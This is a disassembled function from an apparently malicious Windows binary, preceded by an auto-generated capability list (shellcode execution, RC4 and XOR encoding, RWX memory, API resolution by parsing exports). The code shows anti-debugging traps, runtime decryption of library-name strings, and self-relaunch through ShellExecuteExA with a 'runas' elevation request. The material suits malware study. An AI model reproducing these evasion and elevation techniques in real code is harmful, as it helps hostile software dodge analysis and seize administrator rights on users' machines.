Function at 0x14000bfb8
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48798]
mov eax, 0x48870
call fcn.14008c210
sub rsp, rax
mov rax, qword [0x1400dc700]
xor rax, rsp
mov qword [rbp + 0x48760], rax
mov rax, qword gs:[0x1f]
mov edi, 0xe393fb62
mov ebx, 0x349534e4
mov esi, 0x4efb4758
mov r14d, 0x577f633f
cmp rax, rdi
jne 0x14000c0c1
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, r14d
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000c0a1
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000c0a1
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000c0c1
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov r15d, 0xe393fb62
mov ecx, r15d
call fcn.140003120
mov rax, qword gs:[0x1f]
mov r13d, 0x4916958b
cmp rax, rdi
jne 0x14000c17f
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000c15f
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000c15f
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000c17f
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
movabs rcx, 0x18ec4a904d81a114
cmp rax, rdi
jne 0x14000c233
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000c213
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000c213
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000c233
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov ecx, r15d
call fcn.14000b3b4
mov rax, qword gs:[0x1f]
cmp rax, rdi
jne 0x14000c2f4
mov rcx, qword gs:[0x42]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000c2d4
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000c2d4
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000c2f4
mov rax, qword [rbp + 0x1020]
mov rdx, qword [rbp + 0x1030]
xor rdx, rax
mov rcx, qword [rbp + 0x1028]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
cmp rax, rdi
jne 0x14000c39e
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000c37e
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000c37e
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000c39e
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
lea rdx, [0x1400d1270]
lea rcx, [rbp + 0xea0]
call fcn.14002d72c
mov rdx, rax
mov ecx, r15d
call fcn.1400031ac
mov rax, qword gs:[0x1f]
cmp rax, rdi
jne 0x14000c475
mov rcx, qword gs:[0x42]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000c455
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000c455
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000c475
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
cmp rax, rdi
jne 0x14000c51f
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000c4ff
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000c4ff
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000c51f
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov byte [rbp + 0x150], 2
mov r15d, 9
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x150]
call fcn.14002d0d8
mov byte [rbp + 0x151], al
mov r9d, r15d
lea ebx, [r15 - 8]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x150]
call fcn.14002d0d8
mov byte [rbp + 0x152], al
mov r9d, r15d
lea r8d, [r15 - 7]
mov dl, 0x64
lea rcx, [rbp + 0x150]
call fcn.14002d0d8
mov byte [rbp + 0x153], al
mov r9d, r15d
lea eax, [rbx + 2]
mov qword [rbp - 0x40], rax
mov r8d, eax
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.14002d0d8
mov byte [rbp + 0x154], al
mov r9d, r15d
lea r14d, [r15 - 5]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.14002d0d8
mov byte [rbp + 0x155], al
mov r9d, r15d
lea r8d, [r15 - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x150]
call fcn.14002d0d8
mov byte [rbp + 0x156], al
mov r9d, r15d
lea esi, [rbx + 5]
mov r8d, esi
mov dl, 0x64
lea rcx, [rbp + 0x150]
call fcn.14002d0d8
mov byte [rbp + 0x157], al
mov r9d, r15d
lea r12d, [r15 - 2]
mov r8d, r12d
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.14002d0d8
mov byte [rbp + 0x158], al
mov r9d, r15d
lea r8d, [r15 - 1]
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.14002d0d8
mov byte [rbp + 0x159], al
xor eax, eax
mov byte [rbp + 0x15a], al
mov edi, eax
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x151]
lea rcx, [rbp + 0x150]
call fcn.14002d0d8
mov byte [rbp + rdi + 0x151], al
add rdi, rbx
cmp rdi, r15
jb 0x14000c639
xor eax, eax
mov byte [rbp + 0x15a], al
lea rcx, [rbp + 0x151]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x1f]
mov edi, 0xe393fb62
cmp rax, rdi
jne 0x14000c73a
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x349534e4
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x4efb4758
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x577f633f
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000c71a
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000c71a
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000c73a
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
cmp rax, rdi
jne 0x14000c7ee
mov rax, qword gs:[0x42]
movabs rcx, 0x18ec4a904d81a114
xor rax, rcx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000c7ce
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000c7ce
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000c7ee
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov byte [rbp + 0x220], 0x56
mov edi, listen
mov r9d, edi
xor r8d, r8d
mov dl, 0x6b
lea rcx, [rbp + 0x220]
call fcn.14002cd9c
mov byte [rbp + 0x221], al
mov r9d, edi
mov r8, rbx
mov dl, 0x65
lea rcx, [rbp + 0x220]
call fcn.14002cd9c
mov byte [rbp + 0x222], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAStartup
lea rcx, [rbp + 0x220]
call fcn.14002cd9c
mov byte [rbp + 0x223], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x220]
call fcn.14002cd9c
mov byte [rbp + 0x224], al
mov r9d, edi
mov r8, r14
mov dl, 0x65
lea rcx, [rbp + 0x220]
call fcn.14002cd9c
mov byte [rbp + 0x225], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x6c
lea rcx, [rbp + 0x220]
call fcn.14002cd9c
mov byte [rbp + 0x226], al
mov r9d, edi
mov r8, rsi
mov dl, 0x33
lea rcx, [rbp + 0x220]
call fcn.14002cd9c
mov byte [rbp + 0x227], al
mov r9d, edi
mov r8, r12
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x220]
call fcn.14002cd9c
mov byte [rbp + 0x228], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x220]
call fcn.14002cd9c
mov byte [rbp + 0x229], al
mov r9d, edi
mov r8, r15
mov dl, 0x64
lea rcx, [rbp + 0x220]
call fcn.14002cd9c
mov byte [rbp + 0x22a], al
mov r9d, edi
lea eax, [rdi - 2]
mov qword [rbp - 0x68], rax
mov r8d, eax
mov dl, 0x6c
lea rcx, [rbp + 0x220]
call fcn.14002cd9c
mov byte [rbp + 0x22b], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x6c
lea rcx, [rbp + 0x220]
call fcn.14002cd9c
mov byte [rbp + 0x22c], al
xor eax, eax
mov byte [rbp + 0x22d], al
mov edi, eax
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x221]
lea rcx, [rbp + 0x220]
call fcn.14002cd9c
mov byte [rbp + rdi + 0x221], al
add rdi, rbx
cmp rdi, 0xc
jb 0x14000c948
xor esi, esi
mov byte [rbp + 0x22d], sil
lea rcx, [rbp + 0x221]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x1f]
mov edi, 0xe393fb62
cmp rax, rdi
jne 0x14000ca39
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000ca19
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000ca19
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000ca39
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14000b550
test eax, eax
jne 0x14000d3db
mov ebx, esi
mov edi, 0x104
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x28650]
call fcn.1400b5a70
mov r8d, edi
lea rdx, [rbp + 0x28650]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14000cbe9
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xfc0]
call fcn.1400b5a70
mov dword [rbp + 0xfb0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xfb4], 0x400
mov qword [rbp + 0xfb8], rsi
mov byte [rbp + 0x738], reloc.WLDAP32.dll_Ordinal_26
mov ebx, 5
mov r9d, ebx
xor r8d, r8d
mov dl, WSAStartup
lea rcx, [rbp + 0x738]
call fcn.14002d060
mov byte [rbp + 0x739], al
mov r9d, ebx
lea esi, [rbx - 4]
mov r8d, esi
mov dl, 0x75
lea rcx, [rbp + 0x738]
call fcn.14002d060
mov byte [rbp + 0x73a], al
mov r9d, ebx
lea r8d, [rbx - 3]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x738]
call fcn.14002d060
mov byte [rbp + 0x73b], al
mov r9d, ebx
lea r8d, [rbx - 2]
mov dl, 0x61
lea rcx, [rbp + 0x738]
call fcn.14002d060
mov byte [rbp + 0x73c], al
mov r9d, ebx
mov r8, r14
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x738]
call fcn.14002d060
mov byte [rbp + 0x73d], al
xor eax, eax
mov byte [rbp + 0x73e], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x739]
lea rcx, [rbp + 0x738]
call fcn.14002d060
mov byte [rbp + rdi + 0x739], al
add rdi, rsi
cmp rdi, rbx
jb 0x14000cb4b
xor ecx, ecx
mov byte [rbp + 0x73e], cl
lea rax, [rbp + 0x739]
mov qword [rbp + 0xfc0], rax
lea rax, [rbp + 0x28650]
mov qword [rbp + 0xfc8], rax
mov word [rbp + 0xd28], 0x54
mov byte [rbp + 0xd29], cl
lea rax, [rbp + 0xd29]
mov qword [rbp + 0xfd0], rax
xor eax, eax
mov qword [rbp + 0xfd8], rax
mov dword [rbp + 0xfe0], esi
mov qword [rbp + 0xfe8], rax
lea rcx, [rbp + 0xfb0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
xor esi, esi
test eax, eax
jne 0x140029f52
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov byte [rbp - 0x28], 0x69
mov edi, 1
mov r9d, edi
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp - 0x28]
call fcn.14002e174
mov byte [rbp - 0x27], al
xor ecx, ecx
mov byte [rbp - 0x26], cl
mov r9d, edi
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x28]
call fcn.14002cf0c
mov byte [rbp - 0x27], al
mov byte [rbp - 0x26], sil
mov edx, ebx
lea rcx, [rbp + 0xde0]
call fcn.14000b434
mov qword [rsp + 0x68], rax
mov byte [rbp + 0xa88], reloc.WS2_32.dll_WSASetLastError
lea esi, [rdi + 0x2c]
mov r9d, esi
xor r8d, r8d
mov dl, 0x50
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa89], al
mov r9d, esi
mov r8d, edi
mov dl, 0x6c
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa8a], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x65
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa8b], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, 0x61
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa8c], al
mov r9d, esi
mov r8, r14
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa8d], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa8e], al
mov r9d, esi
lea r8d, [rdi + 5]
lea r14d, [rdi + 0x1f]
mov dl, r14b
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa8f], al
mov r9d, esi
mov r8, r12
mov dl, 0x4c
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa90], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, 0x61
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa91], al
mov r9d, esi
mov r8, r15
mov dl, 0x75
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa92], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa93], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x63
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa94], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x68
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa95], al
mov r9d, esi
lea edi, [rsi - 0x20]
mov r8d, edi
mov dl, r14b
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa96], al
mov r9d, esi
lea r8d, [rsi - 0x1f]
mov dl, 0x42
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa97], al
mov r9d, esi
lea r8d, [rsi - 0x1e]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa98], al
mov r9d, esi
lea r13d, [rsi - 0x1d]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa99], al
mov r9d, esi
lea ebx, [rsi - 0x1c]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa9a], al
mov r9d, esi
lea r8d, [rsi - 0x1b]
mov dl, 0x53
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa9b], al
mov r9d, esi
lea r8d, [rsi - 0x1a]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa9c], al
mov r12d, esi
mov r9d, esi
lea r8d, [rsi - 0x19]
mov dl, WSAStartup
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa9d], al
mov r9d, esi
lea r8d, [rsi - 0x18]
mov dl, 0x61
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa9e], al
mov r9d, esi
lea r8d, [rsi - 0x17]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xa9f], al
mov r9d, esi
lea r8d, [rsi - 0x16]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaa0], al
mov r9d, esi
lea r8d, [rsi - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaa1], al
mov r9d, esi
lea r8d, [rsi - 0x14]
mov dl, WSAStartup
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaa2], al
mov r9d, esi
lea r8d, [rsi - 0x13]
mov dl, r14b
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaa3], al
mov r9d, esi
lea r8d, [rsi - 0x12]
mov dl, 0x61
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaa4], al
mov r9d, esi
lea r8d, [rsi - 0x11]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaa5], al
mov r9d, esi
lea r8d, [rsi - 0x10]
mov dl, r14b
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaa6], al
mov r9d, esi
lea r8d, [rsi - 0xf]
mov dl, 0x41
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaa7], al
mov r9d, esi
lea r8d, [rsi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaa8], al
mov r9d, esi
mov r8d, r14d
mov dl, 0x6d
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaa9], al
mov r9d, esi
lea r8d, [rsi - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaaa], al
mov r9d, esi
lea r8d, [rsi - 0xb]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaab], al
mov r9d, esi
lea r8d, [rsi - 0xa]
mov dl, 0x69
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaac], al
mov r9d, esi
lea r8d, [rsi - 9]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaad], al
mov r9d, esi
lea r8d, [rsi - 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaae], al
mov r9d, esi
lea r8d, [rsi - 7]
mov dl, WSAStartup
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xaaf], al
mov r9d, esi
lea r8d, [rsi - 6]
mov dl, 0x61
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xab0], al
mov r9d, esi
lea r8d, [rsi - 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xab1], al
mov r9d, esi
lea r8d, [rsi - 4]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xab2], al
mov r9d, esi
lea r8d, [rsi - 3]
mov dl, WSAStartup
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xab3], al
mov r9d, esi
lea r8d, [rsi - 2]
mov dl, r14b
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xab4], al
mov r9d, esi
lea r8d, [rsi - 1]
mov dl, Ordinal_41
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + 0xab5], al
xor eax, eax
mov byte [rbp + 0xab6], al
mov esi, eax
lea r15d, [r12 - 0x2c]
mov r9, r12
mov r8, rsi
mov dl, byte [rbp + rsi + 0xa89]
lea rcx, [rbp + 0xa88]
call fcn.14002cfe8
mov byte [rbp + rsi + 0xa89], al
add rsi, r15
cmp rsi, r12
jb 0x14000d11b
xor eax, eax
mov byte [rbp + 0xab6], al
mov r8, qword [rsp + 0x68]
lea rdx, [rbp + 0xa89]
lea rcx, [rbp + 0xdc0]
call fcn.14002d934
lea r8, [rbp - 0x27]
mov rdx, rax
lea rcx, [rbp + 0x1270]
call fcn.14002daac
lea rcx, [rbp + 0xdc0]
call fcn.14002d614
lea rcx, [rbp + 0xde0]
call fcn.14002d614
mov byte [rbp + 0x3f0], Ordinal_79
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x3f1], al
mov r9, rbx
mov r8, r15
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x3f2], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x3f3], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x3f4], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x3f5], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x3f6], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x3f7], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x3f8], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x3f9], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x3fa], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x3fb], al
mov r9, rbx
mov r8d, listen
mov dl, 0x61
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x3fc], al
mov r9, rbx
mov r8d, recvfrom
mov dl, 0x69
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x3fd], al
mov r9, rbx
mov r8, rdi
mov dl, 0x6c
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x3fe], al
mov r9, rbx
mov r8d, recvfrom
mov dl, 0x75
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x3ff], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x400], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + 0x401], al
xor eax, eax
mov byte [rbp + 0x402], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x3f1]
lea rcx, [rbp + 0x3f0]
call fcn.14002c95c
mov byte [rbp + rdi + 0x3f1], al
add rdi, r15
cmp rdi, rbx
jb 0x14000d381
xor eax, eax
mov byte [rbp + 0x402], al
lea rcx, [rbp + 0x1270]
call fcn.14002d444
xor r9d, r9d
lea r8, [rbp + 0x3f1]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
